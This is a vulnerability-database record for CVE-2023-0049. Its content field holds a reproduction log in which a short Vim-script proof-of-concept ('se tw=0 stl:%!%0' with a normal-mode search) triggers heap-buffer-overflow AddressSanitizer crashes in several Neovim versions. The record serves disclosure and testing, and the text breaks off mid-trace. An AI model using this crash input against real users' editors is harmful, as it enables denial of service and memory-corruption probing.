{"uuid": "146c3dc1-6831-4667-8bcf-4e87228612c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0049", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/0bd308e7c8e2e3364316d5fbce78d06b", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 --headless -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nExecuting:     aunmenu *\nExecuting:     vnoremenu PopUp.Cut                     \"+x\nExecuting:     vnoremenu PopUp.Copy                    \"+y\nExecuting:     anoremenu PopUp.Paste                   \"+gP\nExecuting:     vnoremenu PopUp.Paste                   \"+P\nExecuting:     vnoremenu PopUp.Delete                  \"_x\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\nExecuting:     inoremenu PopUp.Select\\ All             VG\nExecuting:     anoremenu PopUp.-1-                     \nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\nExecuting:   \nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049)\nExecuting: so poc\nline 0: sourcing \"poc\"\nline 1: se tw=0 stl:%!%0\nline 2: sil0norm0q/\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049/CVE-2023-0049:\nline    2:\nE15: Invalid expression: %0=================================================================\n==23022==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006ff5 at pc 0x000000a7b035 bp 0x7ffc7766fed0 sp 0x7ffc7766fec8\nREAD of size 1 at 0x602000006ff5 thread T0\n    #0 0xa7b034 in build_stl_str_hl /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:1050:30\n    #1 0xa72bcf in win_redr_custom /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:411:3\n    #2 0xa705cc in redraw_custom_statusline /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:666:3\n    #3 0xa6f977 in win_redr_status /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:93:5\n    #4 0x65a725 in update_screen /home/zzw/Desktop/neovim/build/../src/nvim/drawscreen.c:639:7\n    #5 0x90aa62 in normal_redraw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1329:5\n    #6 0x909d6c in normal_check /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1422:5\n    #7 0xa6e3e2 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:40:35\n    #8 0x8eaf8a in normal_enter /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:500:3\n    #9 0x77ee35 in open_cmdwin /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:4498:3\n    #10 0x77c580 in command_line_execute /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:1288:14\n    #11 0xa6e4c5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:99:26\n    #12 0x774443 in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:831:3\n    #13 0x77360d in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2689:18\n    #14 0x8f80f7 in nv_search /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4007:20\n    #15 0x8f241e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1210:3\n    #16 0x8f1478 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6658:9\n    #17 0x75e5f3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6497:5\n    #18 0x75e489 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6480:3\n    #19 0x763467 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6412:7\n    #20 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #21 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #22 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #23 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #24 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #25 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #26 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #27 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #28 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #29 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #30 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #31 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #32 0x7fd1e89f1082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #33 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x602000006ff5 is located 0 bytes to the right of 5-byte region [0x602000006ff0,0x602000006ff5)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x8a08a7 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:194:15\n    #4 0x8a0917 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:212:17\n    #5 0x8a0d78 in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:431:10\n    #6 0xa72b88 in win_redr_custom /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:410:9\n    #7 0xa705cc in redraw_custom_statusline /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:666:3\n    #8 0xa6f977 in win_redr_status /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:93:5\n    #9 0x65a725 in update_screen /home/zzw/Desktop/neovim/build/../src/nvim/drawscreen.c:639:7\n    #10 0x90aa62 in normal_redraw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1329:5\n    #11 0x909d6c in normal_check /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1422:5\n    #12 0xa6e3e2 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:40:35\n    #13 0x8eaf8a in normal_enter /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:500:3\n    #14 0x77ee35 in open_cmdwin /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:4498:3\n    #15 0x77c580 in command_line_execute /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:1288:14\n    #16 0xa6e4c5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:99:26\n    #17 0x774443 in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:831:3\n    #18 0x77360d in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2689:18\n    #19 0x8f80f7 in nv_search /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4007:20\n    #20 0x8f241e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1210:3\n    #21 0x8f1478 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6658:9\n    #22 0x75e5f3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6497:5\n    #23 0x75e489 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6480:3\n    #24 0x763467 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6412:7\n    #25 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #27 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #28 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #29 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/statusline.c:1050:30 in build_stl_str_hl\nShadow bytes around the buggy address:\n  0x0c047fff8da0: fa fa 02 fa fa fa 07 fa fa fa 02 fa fa fa 00 03\n  0x0c047fff8db0: fa fa 00 fa fa fa 05 fa fa fa 01 fa fa fa 01 fa\n  0x0c047fff8dc0: fa fa 01 fa fa fa fd fa fa fa 00 07 fa fa fd fa\n  0x0c047fff8dd0: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa fd fa\n  0x0c047fff8de0: fa fa fd fa fa fa 05 fa fa fa fd fa fa fa fd fa\n=>0x0c047fff8df0: fa fa 01 fa fa fa fd fa fa fa fd fa fa fa[05]fa\n  0x0c047fff8e00: fa fa 04 fa fa fa 00 00 fa fa 00 00 fa fa 00 03\n  0x0c047fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==23022==ABORTING\n\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: se tw=0 stl:%!%0\n\nline 2: sil0norm0q/\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049/CVE-2023-0049:\nline    2:\nE15: Invalid expression: %0=================================================================\n==22413==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200003b6f5 at pc 0x0000006b4fdb bp 0x7ffe49b5f090 sp 0x7ffe49b5f088\nREAD of size 1 at 0x60200003b6f5 thread T0\n    #0 0x6b4fda in build_stl_str_hl /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3512:32\n    #1 0xe7b8da in win_redr_custom /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5520:5\n    #2 0xe7cddd in redraw_custom_statusline /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5265:3\n    #3 0xe64072 in win_redr_status /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5160:5\n    #4 0xe69939 in redraw_statuslines /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:4765:7\n    #5 0xc98802 in normal_redraw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1295:3\n    #6 0xc96e06 in normal_check /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1381:5\n    #7 0xfc6aa0 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:31:35\n    #8 0xc4f604 in normal_enter /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:463:3\n    #9 0x9c7f1d in open_cmdwin /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:6465:3\n    #10 0x9c0bdb in command_line_execute /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:1409:14\n    #11 0xfc6ee5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n    #12 0x9a3889 in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:926:3\n    #13 0x9a0fdb in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2422:10\n    #14 0xc732d7 in nv_search /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4870:20\n    #15 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #16 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #17 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #18 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #19 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #20 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #21 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #22 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #23 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #24 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #25 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #26 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #27 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #28 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #29 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #30 0x7ffa3ae0a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x60200003b6f5 is located 0 bytes to the right of 5-byte region [0x60200003b6f0,0x60200003b6f5)\nallocated by thread T0 here:\n    #0 0x4d96bd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d96bd)\n    #1 0xbdb432 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xbdb5f4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0xbdba3d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:187:15\n    #4 0xbdbab8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:205:17\n    #5 0xbdc20b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:424:10\n    #6 0xfc9004 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:56:20\n    #7 0xe7b870 in win_redr_custom /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5518:9\n    #8 0xe7cddd in redraw_custom_statusline /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5265:3\n    #9 0xe64072 in win_redr_status /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5160:5\n    #10 0xe69939 in redraw_statuslines /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:4765:7\n    #11 0xc98802 in normal_redraw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1295:3\n    #12 0xc96e06 in normal_check /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1381:5\n    #13 0xfc6aa0 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:31:35\n    #14 0xc4f604 in normal_enter /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:463:3\n    #15 0x9c7f1d in open_cmdwin /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:6465:3\n    #16 0x9c0bdb in command_line_execute /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:1409:14\n    #17 0xfc6ee5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n    #18 0x9a3889 in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:926:3\n    #19 0x9a0fdb in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2422:10\n    #20 0xc732d7 in nv_search /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4870:20\n    #21 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #22 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #23 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #24 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #25 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #26 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #27 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #28 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #29 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3512:32 in build_stl_str_hl\nShadow bytes around the buggy address:\n  0x0c047ffff680: fa fa 02 fa fa fa 07 fa fa fa 02 fa fa fa 00 03\n  0x0c047ffff690: fa fa 00 fa fa fa 05 fa fa fa 01 fa fa fa 01 fa\n  0x0c047ffff6a0: fa fa 01 fa fa fa 01 fa fa fa 00 07 fa fa fd fa\n  0x0c047ffff6b0: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa fd fa\n  0x0c047ffff6c0: fa fa fd fa fa fa 05 fa fa fa fd fa fa fa fd fa\n=>0x0c047ffff6d0: fa fa 01 fa fa fa fd fa fa fa fd fa fa fa[05]fa\n  0x0c047ffff6e0: fa fa 00 03 fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff6f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff710: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047ffff720: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==22413==ABORTING\n\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: se tw=0 stl:%!%0\n\nline 2: sil0norm0q/\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0049/CVE-2023-0049:\nline    2:\nE15: Invalid expression: %0\nE15: Invalid expression: %0=================================================================\n==22687==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000038fb5 at pc 0x00000066c518 bp 0x7ffc75db98b0 sp 0x7ffc75db98a8\nREAD of size 1 at 0x602000038fb5 thread T0\n    #0 0x66c517 in build_stl_str_hl /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3591:32\n    #1 0xda4244 in win_redr_custom /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5401:5\n    #2 0xda5740 in redraw_custom_statusline /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5217:3\n    #3 0xd8ca0a in win_redr_status /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5116:5\n    #4 0xd92729 in redraw_statuslines /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:4809:7\n    #5 0xbfc4c4 in normal_redraw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1288:3\n    #6 0xbfa7dd in normal_check /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1373:5\n    #7 0xee8e90 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:28:35\n    #8 0xba7e24 in normal_enter /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:464:3\n    #9 0x960406 in open_cmdwin /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:6591:3\n    #10 0x95915b in command_line_execute /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:1310:14\n    #11 0xee9094 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #12 0x939bf5 in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:836:3\n    #13 0x9372cc in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2333:20\n    #14 0xbd7217 in nv_search /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5435:20\n    #15 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #16 0xbca1f6 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #17 0x8ff380 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8513:5\n    #18 0x8ff0c6 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8496:3\n    #19 0x918a3a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8424:7\n    #20 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #21 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #22 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #23 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #24 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #25 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #26 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #27 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #28 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #29 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #30 0x7fb8370d9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x602000038fb5 is located 0 bytes to the right of 5-byte region [0x602000038fb0,0x602000038fb5)\nallocated by thread T0 here:\n    #0 0x4d65cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d65cd)\n    #1 0xb31f12 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:73:15\n    #2 0xb320e4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:107:15\n    #3 0xb3252d in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:184:15\n    #4 0xb325a8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:202:17\n    #5 0xb32cfb in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:421:10\n    #6 0xeeab54 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:58:20\n    #7 0xda41c6 in win_redr_custom /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5399:9\n    #8 0xda5740 in redraw_custom_statusline /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5217:3\n    #9 0xd8ca0a in win_redr_status /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:5116:5\n    #10 0xd92729 in redraw_statuslines /home/zzw/Desktop/neovim/build/../src/nvim/screen.c:4809:7\n    #11 0xbfc4c4 in normal_redraw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1288:3\n    #12 0xbfa7dd in normal_check /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1373:5\n    #13 0xee8e90 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:28:35\n    #14 0xba7e24 in normal_enter /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:464:3\n    #15 0x960406 in open_cmdwin /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:6591:3\n    #16 0x95915b in command_line_execute /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:1310:14\n    #17 0xee9094 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #18 0x939bf5 in command_line_enter /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:836:3\n    #19 0x9372cc in getcmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_getln.c:2333:20\n    #20 0xbd7217 in nv_search /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5435:20\n    #21 0xbcd80b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #22 0xbca1f6 in normal_cmd 